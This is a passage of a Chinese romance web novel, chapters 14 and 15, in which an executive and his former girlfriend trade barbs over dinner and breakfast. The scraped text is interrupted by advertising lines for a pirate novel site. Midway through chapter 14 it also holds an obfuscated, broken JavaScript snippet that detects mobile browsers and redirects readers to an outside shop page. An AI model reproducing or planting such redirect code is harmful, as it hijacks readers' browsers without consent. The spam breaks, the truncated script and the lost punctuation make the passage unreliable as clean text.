因他没有过分的举动,夜浓不好说什么,闭了闭眼,深吸一口气,结果那口气还没完全吐出,略有粗糙的掌心就覆在了她手背上。 夜浓整个人先是一僵,下一秒,她条件反射的就要挣开,然而一道人影突然盖到眼前,夜浓刚一抬头,手里的球杆就被抽走了。 汪雨苼猛然抬头,带出薄愠的脸色在看见面前的人脸时,他瞳孔一缩:“沈、沈总?” 沈屹骁掂了掂手里的球杆,没有看他:“汪总,你这教人的姿势不对。” 汪雨苼一时语怔主,微微弓着腰刚要直回去,肩膀就被沈屹骁反手一拍。 他看了眼自己的肩膀,又看了眼身前的人,默了两秒才突然反应过来似的,忙退到一边。 他眼睁睁地看着沈屹骁取代自己的位置,走到夜浓的身后,双臂环过她两侧肩膀的时候,汪雨苼无意识地喊了声:“沈总,你——” 沈屹骁这才掀起眼皮看他,双眼皮的内褶,压不下他眼底锋利的冷光,汪雨苼脸色登时刷白,将后面的话咽了回去。 视线收回后,沈屹骁看向被他拢在身前的人。 他当然能感觉到她全身的僵硬,沈屹骁将下巴低在她肩膀。 “忘记我以前怎么教你的了?” 略沉但足以让旁边的人听到的一句话响在她耳边。 夜浓眼睫抖颤了两下,不过短短一个分神,她攥紧的手就被沈屹骁掰开。 将球杆强硬塞到她手里后,沈屹骁用自己的双手完全包裹住她的手。 “想不起来也没关系,帮你回忆一下。” 第 14 章 十四章 第14章十四章 夜浓脸上笑意不减:“沈总今天帮我解了围,于情于理我都要上门跟您道声谢。”为了拉远距离,她连“您”都用上了。 沈屹骁不露声色将目光从她脸上错开,侧过身:“瞿总、阮总,请进。” 绕过紫水晶玄关,一铺到底的皇家白玉大理石让这套面积过六百平的平层空间一览无遗。 在梦蝶山,平墅相较于别墅更为稀缺,因为可以隔窗望景。 湿地公园鸣鹭湖的夜景相较于白天,另有一番绝美的神秘,沿湖栽种了春樱夏薇秋栾冬梅,一年四季花开不歇。当下正值栾树花开结果,簇蔟红妆点缀绿色树冠,经平墅投射的幽蓝霓束一照,多了几分蓝调的爵士感。 “阮总在这里住的怎么样?” 沈屹骁知道那套别墅是瞿奕买来赠予她的,若非如此,他还真不至于出手相让。 阮瑜在瞿奕身边坐下,“处处是细节,特别是这里还提供农场里当天采摘的果蔬特供,这都要感谢沈总割爱。” “阮总喜欢就好。” 偌大的客厅里,黑白色调作底,点缀一些暗金元素。 看似简单的石材背景墙里,里面归列摆放着限量的手办,拍来的藏品。 客厅局分五段式,沈屹骁用来招待他们的是落地窗最东面的休闲区,比另一侧的会客厅要小,但舒适度更高。 黑色皮质沙发是全围式,两面三人位里,瞿奕和阮瑜坐一面,沈屹骁坐一面,阮瑜自然而然坐在了阮瑜右手边的单人位里。 管家将冲泡好的茶水放在不规则造型的茶几上,继而退远。 为了不影响会客,□□的星厨被安排在了与西式厨房一墙之隔的中式厨房内。 隐约有声音传来,不知情的夜浓视线偏转,眼神虽探寻,但是很克制。 沈屹骁一个抬眼,就将她所有的面部表情尽收眼底。 “夜小姐可有什么忌口?” 做戏做上瘾了似的。 这人对她的忌口怕是比她自己都要熟悉。 夜浓朝他微微一笑,“忌口倒谈不上,只是离开这几年,口味有了不少的变化。” 沈屹骁将其中一杯花茶推至她面前后,随口似:“夜 小姐尝尝,看是否能喝得惯。 透明玻璃杯中,茶色黄绿明亮,被冲泡开的洁白花蕾于水中漂浮。 哪怕没有闻到那沁鼻浓郁的花香,夜浓也认得是茉莉花茶。 是沈屹骁最为钟情的花茶之一。 但是他对茉莉花茶格外挑剔,只喝早春甘露为茶胚,双瓣茉莉窨制七八次以上的。 也正因为他的挑,让夜浓只喝了一次就爱上,甚至一度成为她的深冬伴侣。 但是过去被沈屹骁养成的很多不该属于她的挑剔的口味,都在她离开后,一并消失在了她的生活里。 夜浓端起那杯熟悉又陌生的茉莉花茶,浅浅喝了一口。 醇厚芳香的液体从舌尖一过,便和记忆里已经回想不起来的味道无缝重叠。 沈屹骁仿佛当对面两人不存在,视线定在夜浓脸上,见她眉心先拢后松,沈屹骁眼里含着让人捉摸不透的淡淡笑痕:“夜小姐过去喝过茉莉花茶吗? 这要说没喝过,他是准备拿什么话来隐射笑话她? 夜浓放下茶杯,“当然,她淡淡莞尔:“不过,自然是比不过沈总的私藏。 “喝得出是私藏,想必夜小姐对花茶也颇有研究。 夜浓假笑恭维:“怕是要让沈总见笑了,相比茶,其实我更喜欢喝白开水。 阮瑜听得出她话里的夹枪带棒,眼神不时打量着沈屹骁,恐他发火。 不知是这位沈总喜怒不形于色,还是说他大度,在夜浓那一句之后,竟低笑出声。 沈屹骁视线从夜浓脸上移开,落到阮瑜的脸上:“阮总,你这位朋友很有意思。 阮瑜压下嘴角尴尬,“她性子比较直爽,沈总不要介意。 之后,趁着沈屹骁和瞿奕说聊的功夫,阮瑜坐到靠近夜浓的沙发扶手边。 “怎么了呀? 夜浓故作一脸无辜:“没怎么呀。 阮瑜瞧着她的脸色:“以前带你出去,你说话可不像今天这样。 在阮瑜眼里,夜浓出席一些商务应酬,不仅会说话,有时还很会来事,像今天这样,说话不给对方留余地倒是第一次。 “嗳,刚刚进门时,你说他帮你解围,什么意思? 夜浓不准备将汪雨苼那点事 拿出来说毕竟阮瑜和瞿奕的关系在这摆着她若是说了阮瑜肯定会和瞿奕说起可是说了又怎样这种事对男人来说早已司空见惯见惯不怪倒是她一个女人说不好落一个假清高的笑料。 夜浓一句话带过:“打球的时候他教了点我动作要领。” 阮瑜没那么好糊弄:“我听得可清楚了你说的是解围!” 夜浓不想继续这个话题 鹅小说全网首发无弹窗免费阅读qiexs?(请来企 鹅小说 看最新章节 完整章节)朝两个男人那儿递了个眼神阮瑜这才没再继续这个话题。 好在没一会的功夫管家过来说晚饭已经准备好。 八人位的餐厅秀色迷离。 不仅有空运冷链过来的黄金鲍鱼还有预处理好的蓝鳍金枪以及精细保鲜的A5和牛。 来之前瞿奕回去了一趟取来了上次高价拍得的一瓶久藏红酒作为上门礼。 但是沈屹骁却摆了摆手:“晚上要开车回铂悦府。” 阮瑜借机给夜浓找到了‘赎罪’的机会似的:“夜浓正好也住铂悦府晚上就让她送沈总回去吧。”说完阮瑜在桌下用脚尖碰了碰她。 夜浓却不买账:“没事的沈总您放心喝到时我给您找代驾。” 沈屹骁本来也没想让她送只不过他今晚没有喝酒的雅兴但是听她这么一说. 沈屹骁够了勾唇看向她时嘴角含着似笑而非的弧度:“相比代驾我更放心坐夜小姐的车。” 夜浓瞥他一眼头顶绮亮的水晶灯圈落在他含笑的眉眼躁动又惹眼只是刚刚那句话从他微翘的薄唇里吐出来让人分不出是玩笑还是戏谑。 夜浓收回视线没接他这句。 虽然夜浓和沈屹骁交往过一年但对他酒量的深浅却一无所知。 眼看桌上空了三瓶红酒夜浓不禁多看了他几眼不似夜浓一喝酒就红脸沈屹骁的脸色几乎和喝之前没什么变化。 都说喝酒红脸的人能喝其实不然那只是体内乙醇脱氧酶分泌不足导致的相反喝酒不红脸的人说明酒精代谢能力好。 但是酒量再好也不能这么没有节制吧万一半路上酒精上头在她车里睡着这不是给她找事吗? 夜浓坐在沈屹骁左手边见他和瞿奕正在闲聊她不好打断便用脚尖往前一碰。眼看他眉心倏地 一拢,夜浓这才想起自己脚上穿的是一双尖头高跟鞋。 她面色微窘,“抱歉,刚刚不小心。 沈屹骁微勾起一边的唇看她:“我还以为夜小姐是想让我少喝一点。 被他一语戳中,夜浓脸上难掩尴尬,刚好手边是一杯红酒,她大脑一时放空,端起就往嘴边送,虽涩却醇的酒液过嗓,她瞳孔微微一缩。 天呐,她怎么这么大意! 喉间的停顿让她差点把刚咽下的红酒呛出来。 右手边递过来两张纸巾,夜浓手背掩嘴,视线睇过去。看似好心的人,却好整以暇地端着她看。 夜浓以前没少应酬,可像现在这样失态的却是史无前例。 回味本甘的红酒此时又苦又涩地拉锯在她的喉间。夜浓抿紧了唇,一连吞咽两下后,才伸手接过那递在空中的两片纸巾。 “谢谢。 沈屹骁没说不客气,半点没染上酒精的脸上,带着几分难辨的笑痕:“是我招待不周,竟然因为自己的私心就不让夜小姐沾酒。 话落,他亲自给她放回去的红酒杯里又续上一些。 虽说答应送他回铂悦府并非自己的本意,可既然说了她自会做到。 “沈总不必担心,晚上我会找代驾,并亲自送您回去的。 沈屹骁却话锋一转:“夜小姐酒量怎么样? 他双臂交叉搭于桌沿,虽然视线流转在夜浓脸上,但却没着多少情绪,像是社交时,与人说话时的礼貌相望。 夜浓抬起眼睫看他,笑了笑:“我酒量真的拿不出手,平时也很少喝,但是今天有幸能和您一起吃饭,说什么也要敬您一杯。 沈屹骁视线落到被她端起的红酒杯壁,上面留着浅浅一片红痕。 视线的停顿,让他拿起酒杯的动作慢了两秒。 然而夜浓却在他酒杯即将碰过来的前一秒,把手往回收了收,沈屹骁手里的酒杯几乎是一秒停了动作。 夜浓知道自己这么做很薄他的面子,但这都是他自找的。 从她进门到现在,他已经拿她的过往,一而再再而三的明知故问,是他刻意刁难在先,凭什么她要逆来顺受忍气吞声? 夜浓唇角挂着让他心知肚明的浅浅笑痕,先他将杯子里的红酒一饮而 尽。 唇瓣离开杯壁时,她还故意说上一句:“我干了,沈总随意。” 沈屹骁没去理对面两张面面相觑,甚至暗捏一把冷汗的两位客人,杯底一抬,浅浅一个杯底的酒液也被他一口送入口中。 餐桌铺着桌布,杯底落下无声。 对面,瞿奕脸色已经有些难看,扯了扯嘴角,笑意有些僵硬:“沈总——” 沈屹骁像是没听见对面发出的声音,平静漠然的眼神锁在夜浓的脸上:“夜小姐对自己的酒量好像太过谦虚了。” 对面,阮瑜视线在两人脸上来回穿梭。 明面上两人话术客套,可就是有一种硝烟在两人之间滋长、盘旋。 眼看管家将沈屹骁已经空了的酒杯再度续上酒。 阮瑜端起酒杯试图打破让她看不懂的胶着:“沈总,我敬你。” 满桌的佳肴珍馐几乎未动,但酒却喝空了五瓶。 相比沈屹骁起身时的四平八稳,瞿奕站起来时,双脚趔趄了一下,幸好阮瑜眼疾手快扶住了他。 防止自己酒后失态,瞿奕没有多做打扰,几句寒暄后,沈屹骁吩咐管家:“把瞿总送回去。” 瞿奕虽说有些站不稳,但人还是清醒的:“沈总,不用麻烦,我去阮瑜那休息一会儿就好。” 话说到这里,瞿奕视线在沈屹骁和夜浓脸上穿梭了两个来回:“沈总今晚还要回铂悦府吗?” 阮瑜也是满腹担心,当然,她担心的可不是沈屹骁,她余光从夜浓脸上晃过,“对啊沈总,时间也不早了,这边也方便——” 沈屹骁却不理她话,看向身旁的人:“夜小姐若是不方便,我也可以自己找代驾。” 夜浓不似他们空腹喝酒,而且喝的也比较晚,以至于酒精还未挥发到脸上,只眼角崩了淡淡一层绯。 听出他话里的坚决,夜浓浅笑端方:“沈总放心,今晚一定会把您安全送回去。” 说完,她朝阮瑜点头笑了笑,意思是让她不要担心。 出了门,阮瑜扶着瞿奕进了电梯,眼看电梯门缓缓合上,阮瑜不顾迎面站在外面的沈屹骁,朝夜浓做了个打电话的手势。 银色的电梯门合紧无声,宽敞的门厅走廊里顿时有种让人局促的气息。 不算浓郁的酒 气萦绕鼻息分不清是他的还是自己的。 夜浓落后一步站在沈屹骁斜后方瞥了眼面前的半侧肩膀夜浓轻吸一口气:“沈总是现在回去吗?” 沈屹骁双手抄在裤子口袋转过身时视线只和她交汇不过一秒就径直往回走。 夜浓拧着漂亮的眉头转身然而她只视线追随双脚却定在原地未动。 沈屹骁都一只脚迈进门了才回头:“进来。” 两个字听似温和却又带着不容置喙的命令。 夜浓心里憋着一股郁气想发作却又只能忍着。 咬了咬牙她深吸一口气。 谁知刚一进门对面就传来声音—— “把鞋换了。” 夜浓这才注意到面前的地上放着一双白色绒面拖鞋她抬头看向肩倚玄关侧壁的人。 “刚来的时候你不是说不用换吗?” 沈屹骁眼皮懒声音更懒:“人多鞋少。” 夜浓不想去深究他这个理由的真假往后退了一步:“我还是在外面等沈总吧。” 沈屹骁自下而上地将她打量一个来回:“夜小姐这是在催我吗?” 没了旁人在夜浓都懒得跟他客套:“是的。” 沈屹骁站直身体冷笑一声:“那你就在门口等着吧。” 夜浓剜了眼他转身的背影 然而下一秒她就后悔了她的手机还有包还在里面。 时间一分一秒滴滴答答眼看二十分钟过去夜浓踩着七厘米高跟鞋的脚腕都站酸了还不见那扇铜制双开装甲门有丝毫的动静。 而此时的客厅里管家也终于松了一口气:“沈总二十分钟到了是让保洁现在上来吗?” 沈屹骁阖着双眼嗯了一声后说:“想办法让门口的人进来。” 管家点头:“好的。” 门口夜浓背倚冰凉的大理石墙面正换另一只脚撑着身体重量听见对面“滴答”一声她忙站直。 “你好”她不顾脚腕的酸疼迎上前:“沈总有没有说什么时候走?” 管家将门虚掩:“保洁一会儿上门清扫可能还需要一个多小时。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699547|143042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜浓:“.” 那岂 不是得十二点以后? 她不管了越过管家身侧直接推门进去。 沈屹骁阖眼靠在沙发里耳边由远及近的高跟鞋的声音让他嘴角若有似无地抬了抬。 “沈总——” “把鞋换了。” 说不上来是意识到自己实在不礼貌还是说这几年的脾气被磨平了棱角。 夜浓咽下后面的话转身回到门口。 双脚从高跟鞋里脱离踩入松软的拖鞋里时她整个人都放松了。 但是这种身体上的舒缓并没有减少她对沈屹骁心理上的戒备。 脚步几近无声地再度回到沙发前。 夜浓这才注意到他眼角崩出浓浓一层红。 还真以为他对酒精免疫了呢。 夜浓在心里嘁出一声的同时嘴角也随之撇出弧度。 “沈总时间已经很晚了如果你觉得困了不如就在这里过夜。” “不用。” 真不知道他到底有什么急事非要大半夜地往回赶。 夜浓站在离他一米远的距离几个犹豫后她又喊了他一声。 “沈总——” “别吵。” 话被他再次打断夜浓心里别提多躁原本只想瞪过去一眼结果视线落到他脸上时目光不受控地停顿住。 他右眼角有一颗很小很小的泪痣不知是五官太过精致盖过其锋芒还是那颗痣颜色太浅 当初自己就是在与他第一次接吻时睁眼偷看他才发现的。 都说泪痣最显柔弱这话真是一点不假在他极为硬朗的轮廓的反冲下那颗痣总是会像一把软刀子让你卸下防备让你心甘情愿地摊开自己最柔软的一面最后趁你不备被他一刀刺中胸膛。 轻微的脚步声让夜浓别开视线看过去两名身穿蓝白色制服的保洁走了进来。 夜浓条件反射地朝她们比出一个“嘘”的手势。 对方立马会意地点了点头。 在门口站了好大一会儿夜浓不止脚腕酸两条腿也僵僵的她往身后看了眼又回头看了眼沙发只见那人阖着眼不知是闭目养神还是真的睡着了。 睡着了更好等保洁收拾完如果他还不走那她就自 己回去。 保洁收拾的动作很轻很轻,清脆的碗盘一只一只从餐桌上端起送到厨房,最后再轻轻关上门,之后便销了声似的,再也听不见一丝声响。 夜浓后退几步坐到沙发里。 沙发松软,让人不自觉就舒缓了身躯深陷其中,夜浓手肘撑在扶手上,单手托腮。 她并不想去看对面的人,可眼皮一抬,对面那人就直往她眼底钻。 实在扰人心神难安。 夜浓索性垂下眼,摆弄着腰间那根细细的腰带。 晚上她酒喝的不算多,但禁不住这么静静地坐着,眼皮一搭一阖没几个来回,托着腮颊的那只手就被松软的沙发靠背所代替。 保洁什么时候走的,她不知道。 身上什么时候盖了一张保暖的绒毯,她也不知道。 更不知道脚上的拖鞋什么时候被人轻轻脱了去,只隐约感觉到自己酸软的两条腿被缓缓抬了起来,最后被什么承接住。 她本能地往下蠕了蠕,最后在那一方小天地里寻到了一个舒服的姿势。 头顶繁复绮亮的水晶吊灯被熄灭,只留了沙发边一盏暖黄色的落地灯。 灯影温柔,笼在她脸上,一旁的暗色交错里,沈屹骁目光久久停在她脸上。 酒精在她额头还有眼圈一周都染了淡淡一层绯,朝霞映雪般,让人忍不住想一看其真实本色。 盖在她身上的毯子,有一角被沈屹骁捏在手里,另只搭在膝盖上的手几度蜷起又松开,像是下了好大的决心才慢慢抬起来。 知道她酒意不深,所以他动作放的格外轻,只敢半弯着一根食指,用指背轻轻去碰触。 不知是接触面太少,还是他动作太轻,若即若离的贴碰让他心里虚虚实实。 并拢弯曲的另几根手指下意识松了几分,和刚刚那根已经捷足先登的食指一起,在她细润如脂的脸颊上摩挲了两个来回。 大概是弄得她痒了,在她眉心蹙拢的那一秒,沈屹骁如惊弓之鸟般收回了自己的手。 五指蜷紧才感觉到指掌的滚烫,分不清是心虚还是酒精。 虽说他喝酒总会留三分余地避免失态,但之后的酒精上头和挥发就不在他的控制范围内了,就比如现在,他看似稳当地半蹲着,其实身体的大部 小说更新,记住域名qiexs.com?(请来企鹅 小说 看最新章节 完整章节) 分重心都压在了抵地的右膝盖上。 本想起身去洗把脸,然后躺回刚刚的沙发里,就这么挨过一夜,但双手压着膝盖起身时,终究还是没忍住。 沉重的膝盖重新抵回地毯上,沈屹骁两手压着沙发边缘,脸一点一点低下去。 她的鼻息间也有清淡的酒气,混着她身上特有的一股香,交织出一股区别与他身上酒气的鲜甜。 就要吻到她唇时,沈屹骁突然停了动作,分不清是迟疑还是克制,滚烫又略有颤抖的唇稍稍偏了一分,最后吻在了她嘴角,相贴不过短瞬,沈屹骁就收回了动作。 和当初第一次吻她就压抑不住的汹涌相比,此时的他,克己复礼的简直判若两人。 沈屹骁回了卧室的卫生间。 细细水流里,他扑了两捧凉水浇在脸上,抬头,镜子里映出他眸光泛潮的一双眼。 和她交往的那一年,他也喝酒,只是那时他酒量还远不及现在,半瓶红酒就能让他有微醺的醉感。 微醺时的他不同于清醒,会比平时要兇,要放肆。 食髓知味,一夜都是常事。 倒是她,哪怕眼角洇着泪光,也从来都不求他。 哪怕被其欠.成了一滩氺,骨子里也硬气得很。 会反客为主,会居高临下。 当然,沈屹骁也会配合着让她过过瘾撒撒气,但是她呢? 酸了,车欠了,也不愿下去。 沈屹骁用手拨开领口,目光停顿间,他指腹擦过。 五年过去,当初被她咬出血的几圈牙印里,有两处到现在还攀在他肩膀上没有消。 他曾在她的领土,深凿出属于他的那一小方疆土。 而她,留在他身体上的痕迹,又何止肩膀这两处。 再回客厅,看见她熟睡的模样。 刚被他连续几捧凉水压下的,湍急的气息,潮湿的氤氲,黏腻的津汗又重新席上他心头,漫彻他记忆。 作者有话要说 这么一回忆,再和现实一对比,沈总要疯。 有红包。 第 15 章 十五章 第15章十五章 夜浓一觉睡到了翌日清晨,窗外刺白的光线让她眯了眯眼角,大脑短暂空白了几秒后,她眉心一皱,悬在头顶上方的陌生灯型让她眼底惺忪一秒消散,她撑着沙发倏地坐起身,视线从落地窗辗转到四周,这才发现自己竟然还在昨晚的房子里。 搭在沙发里的双脚慌忙落到地上时,毯子也从她腿上滑了下去,但她哪有多余的心思去在意谁给她盖的毯子,抓起来不及叠平整就往沙发里一撂,在沙发前无措地转了两圈后,这才看见沙发扶手边的包,她两步跑过去,刚把包抓到手里,她手上的动作突然停住。 上一秒的手忙脚乱,在这一秒,像是被按了慢放键。 她缓缓扭头,另一侧的沙发也一点一点漫进她余光。 地上没有鞋,沙发上也没有人。 夜浓缓缓直起腰。六百多平的房子,环顾两圈,有一种望不到边的空旷感。 这种紧张与无措的感觉,让她突然想到那个醉酒醒来的早晨。 她到底是怎么了,怎么能这么大意,怎么能让这种一想起来就后怕的事情一连发生两次。 一阵懊恼里,夜浓走到门后,这才发现昨晚被她脱在柜前的鞋没有了,夜浓转寻几眼,视线落到被镶在墙体里的柜子,隐形柜门往里轻压,柜门弹开。 她的那双浅咖色高跟鞋就放在两双黑色男款鞋中间,格格不入,却又莫名相衬。 短暂的失神后,夜浓将自己的鞋拿出来放在了地上,换好后,她转身又看了眼客厅。 想来,那人应该是回房间里睡了。所以要不要打个招呼再走呢? 几番纠结后,她觉得还是算了。 扰人清梦,还不如不辞而别。 结果手刚握住门把,就听“滴答”一声。 夜浓条件反射把手一松,人也往后退了一步。 门开,沈屹骁身着一身运动装站在门口,平日里上梳的刘海这会儿自然垂落,遮在眉骨,还带着几分潮意,很明显,他是锻炼去了。 看见夜浓站在门里侧,沈屹骁眼底闪过短暂的诧异,但很快,他脸就恢复了平静,用一点都不意外的语气说:“跑什么?” 夜浓心虚的咽了咽口水,硬着头皮:“我 、我哪有跑。 随着沈屹骁往门里迈进一步,夜浓下意识又往后退了退。 夜浓身高近一米七,在一般男人面前丝毫不显娇小,但沈屹骁身型高大,这么直面地站在她面前,哪怕她穿着高跟鞋都要比她高出半个头来。 两人之间只隔着一人的距离,但夜浓不想再心虚地往后退。 她下巴一抬,对上沈屹骁凝眸看着她的视线。 “昨晚你不是说要回铂悦府的吗? 沈屹骁垂着眉眼看她,嘴角勾出一抹浓浓的趣味:“所以呢? “所以.你,你干嘛不喊醒我? 昨晚饭桌上的伶牙俐齿过了一夜,倒是消减了不少。 沈屹骁话里玩味不减:“夜小姐这是在怪我? 和他隔得不算特别近,可他说话时,气息却直直往人鼻息间钻。 夜浓抓着包链的手不由攥紧了几分,心里正想着要怎么回他,就见他又往自己面前逼近了一步。 夜浓双脚不听使唤地往后挪。 “怕我? 他冷不丁的一声,让人心脏都随之一紧。 攥在手里的金属包链都快要被她掌心捂出热度,夜浓也不知道自己到底在心虚什么,但她面上镇定,下巴再度抬起,不卑不亢的眼神迎向他。 “沈总就是这么待客的吗? 面对她的质问,沈屹骁游刃有余:“我怎么待客,难道夜小姐不知道吗? 见她眉心褶出疑惑,沈屹骁却眉梢一挑:“看来夜小姐醒来的时候急于逃跑,没注意到身上的毯子。 他赞同似的点了点头:“也对,在一个陌生男人的家里醒来,那种惊慌失措.可以理解。 夜浓这才回想起刚刚从沙发里起身时,身上的确是有一张毯子。 但是那又怎么样。 昨晚若不是他耗着不走,她也不会在沙发里大意到睡着。 “避免夜小姐日后出去说我待客不周,等吃完早饭我亲自送夜小姐回家。 夜浓眼睛蓦的睁圆了。 还要等他吃完早饭? 不多给她回味的时间,沈屹骁擦过她肩膀去了客厅。 夜浓来不及多想,忙转身:“沈总不用了,我自己开—— 然而后面的话却被沈屹骁无情打断:“过来。” 夜浓站在原地,气瞪瞪的一双眼恨不得穿透那面紫色水晶石射到他身上。 梦蝶山提供一日三餐的酒店式服务,为了隔离隐私,送餐人员会坐专属电梯从气闸室式的双门空间进来。 所以当夜浓听见不是沈屹骁的声音传来时,她吓了一跳。 等她从玄关那里走过来时,刚好看见两个男人的背影。 沈屹骁正在将一个云朵白的瓷盅从餐桌中央端到右手边。 “刷牙洗脸去。” 夜浓肩膀微微一提,下意识就捂住了自己的嘴小小地呵了口气。 还好还好,没什么口气。 但是在他这洗漱,夜浓还是一千一万个不愿意。 沈屹骁转过身来的时候,夜浓正苦想着一个既不失礼又让他反驳不出的理由离开这里。 沈屹骁盯着她咬唇的动作:“还要我过去请你?” 说话夹枪带棒的。 夜浓还了他一记不冷不热的眼神,反正没别人,夜浓也懒得跟他绕圈子。 她也没换鞋,细高跟噔噔噔地踩出声音:“沈总,我们之间——” “请注意你的用词,”沈屹骁打断她,一字一句纠正:“是我和你,不是我们。” 夜浓心里憋着一股气,强行压下后,她唇角一弯,给了他一记假笑:“既然沈总这么说,那我就放心了。” “放心?”沈屹骁往她走近两步:“难不成夜小姐还以为我对你余情未了吗?” 夜浓没说话,就这么看着他嘴角扯出的那抹满含兴味的笑。 也是,当初她说了那么重的话伤他,他怎么可能还会对她心存幻想。 可他现在这样算什么? 有意为难她? 想报复? 夜浓看不透他,在一起的那一年他就让人捉摸不透,更何况现在。 但是沈屹骁不一样,他那双眼皮褶皱内敛的狭长黑眸,不过一个凝眸就好似能将她看了个干净。 “夜小姐难道忘了我昨天说过的话?” 昨天? 他昨天说了那么多,她哪知道他指的是哪句? 夜浓眼眸微转,记忆翻腾。 沈屹骁却后退两步,一边抽出椅 子,一边说了两个字:“邻居。 夜浓眼皮微微一掀,一双眼,几分探究几分将信将疑地重新落回他脸上。 沈屹骁回望住她,唇角一掀,无声低笑:“还是说夜小姐不想只和我做邻居? “邻居!夜浓几乎是撵着他的落地尾音抢答:“邻居就挺好的。 真挺好的,如果能做那种见面仅点头微笑的邻居就更好了。 沈屹骁站在餐椅旁,一手自然垂落在身侧,一手搭于椅背:“既是邻居,那吃完早饭,夜小姐可否顺路捎上我? 大概是被这「邻居」的疏远关系洗脑了,夜浓心里忽觉轻松。 她浅笑嫣然:“当然可以,那沈总慢吃,我去门口等您。 说完这句话就该转身的,可被他一双眼攫住,夜浓双脚仿佛千斤重。 交往的那一年,他给过她旁人羡慕不及的宠爱和骄纵,但这并不妨碍他身上自带的那股类似顶级alpha的领导力和压制力。 就像现在,他站在那里,哪怕明明什么都没说,只一个凝眸的眼神,就足够让人心跳加速,甚至软下自以为是的硬骨。 但夜浓不会,她即便心有怯意也不会让人一眼看尽。 她就这么抬着下巴,轻问一声:“沈总还有什么吩咐? 以前她惹他不高兴也是这样,故作无辜地问:男朋友,你在生气吗? 点头,显得他小气。 摇头,心里郁结难消。 所以他总是二话不说,压她入怀,手使坏,再逞口舌之凶。 或许她也是有心哄他,所以从不反抗,还会主动配合。 然而再多的浓情都成了过去。 沈屹骁不是拿她没有办法,只是现下不想与她计较,但是从昨晚开始,她就时不时拿一声「您」来呛他。 这种心理上的不爽,沈屹骁不打算继续压着。 “别让我再听到那个字。说完,他侧过身,依旧用刚刚那道不轻不重的语气要求道:“洗漱完过来吃饭。 夜浓也懒得再同他扭捏,没好气地瞪了眼他的背影后,径直去了昨天就去过一次的卫生间。 松岚绿的双人洗手台上,除了男人的洗漱用品之外,两个椭型盆池中间还放着一只未拆的盒装牙刷,一管新 的牙膏,甚至连漱口杯都准备好了。 不是酒店,却备着这些东西,可见这所房子里,平时没少来客人。 夜浓走到门后,将门轻轻关上。 因为没带卸妆用品,夜浓就只刷了牙。 从卫生间里出来时,她随意的语气里依旧带着几分客气。 “那就谢谢沈总的早餐了。 只是看到餐桌上的餐食时,夜浓眼波突然停顿住。 无论是布满新鲜水果、杏仁再搭配甜奶油的华夫饼,还是烟熏鲑鱼浇配荷兰汁和鱼子酱的英式松饼,又或者那盅能闻到玉桂糖鲜甜的热燕麦。 都一如五年前他带她住酒店时的早餐标配。 真不知是他刻意,还是说面前这些早餐依旧是他的习惯。 夜浓在餐椅前坐下,余光瞥到邻边,和她的一样。 唯一不同的是,沈屹骁面前的那盅热燕麦里放了香蕉片,而夜浓的没有。 五年过去了,还记得她的忌口,这是在炫耀自己的记忆力? 夜浓拿起勺子,在瓷盅里慢慢地搅着,余光又往他那边瞄。 也没瞧几眼,就被旁边的人逮了个正着。 “夜小姐就别吃着碗里惦记锅里的了。 夜浓手里的动作一停,扭头瞪他:“你说话就说话,能不能别含沙射影? 沈屹骁表情却做无辜状:“我说什么了,让你这么激动? 夜浓一点都不想跟他提过去的点滴,可这人却在她雷区蹦跶。 她扬眉:“不错,当初是我提的分手,但分手就一定是有第三者吗?就不能是我对你烦了、腻了? 说更新,记住域名qiexs.com?(请来企鹅小 说 看最新章节 完整章节) 沈屹骁压着情绪,努力让自己不去深究她的后半句,然而他轮廓却绷得紧:“我有说我们之间有第三者? “你再说你没说?夜浓声音很冲,对他丝毫不客气。 沈屹骁:“. 夜浓转过身来,捏起刚刚的勺柄,怒气冲冲地搅着:“吃着碗里惦记锅里这句话,就应该送给你! 可真会无中生有,别说当初和她在一起的时候他眼里容不下第二个女人,就是分手后的这几年,他也没多瞧哪个女人一眼。 他语气里有着很不满但又压抑到最后不得不认命的不爽:“你有没有良心? 夜浓侧头剜他一眼:“没有,被你吃了! 沈屹骁被她的话噎住,默了两秒,想起昨晚她满脸堆笑时的客套,和现在满身是刺的本性,还真是两个极端。 他嘴角浅浅一勾:“原来夜小姐昨晚的恭维礼貌都是假的,这要是被瞿总知道—— “你是要告状吗?夜浓截住他话后,下巴一抬一收:“去啊,他现在应该还在阮总那。 沈屹骁端坐着,就这么看着她指尖托起一块华夫饼送到嘴边,看着她腮颊咀嚼出松懒又漂亮的频率。 他叹出一息,“真是小看夜小姐了。 心里的气撒出来大半,夜浓已经不想理他,自顾自吃着手里的华夫饼,时不时的再喝上一口热燕麦。 这般的慵懒吃相和他记忆里的几乎无差,只不过她再也不会像以前那样,捻起华夫饼上的杏仁递到他嘴边,也不会看着他含住时强行要求他说一声谢谢. 沈屹骁靠着椅背,安静看了她半晌。 等夜浓吃完,沈屹骁就只喝了两口热燕麦。 夜浓瞥他面前餐盘一眼,语气不冷不热:“是不是我在这,让沈总没有食欲了? 沈屹骁看了眼她唇峰沾着的一丁白色奶油:“没有让夜小姐觉得招待不周就好。说完,他站起身。 夜浓朝他背影撇嘴。 以为他会换身衣服再走,却没想他径直往门口去。 “沈总这是要走了吗? 沈屹骁站住脚,回头:“如果夜小姐还想继续在这坐一会儿,我也不介意。 夜浓朝他投去淡淡一眼,一副你想多了的表情。而沈屹骁刚刚那句话也明显是玩笑,只是等他走到门后,手握住门把时,突然转过身。 夜浓就跟在身后,始料不及,双脚下意识后退一步,一抬头,对上沈屹骁凝眸而来的视线,她心跳突然漏掉一拍,“你、你这么看我干嘛? 看出她满眼的防备,沈屹骁却嘴角一提。 因为视线紧盯着他的脸,夜浓全然没注意他身体其他部位,直到余光里晃进他的手—— 夜浓下意识就把脸往一边偏,可惜晚了一步,柔软的唇被他指腹一蹭、一停。 夜浓整个人呆住,忘了躲,一双瞪大的眼睛,不可置 信地看着他。 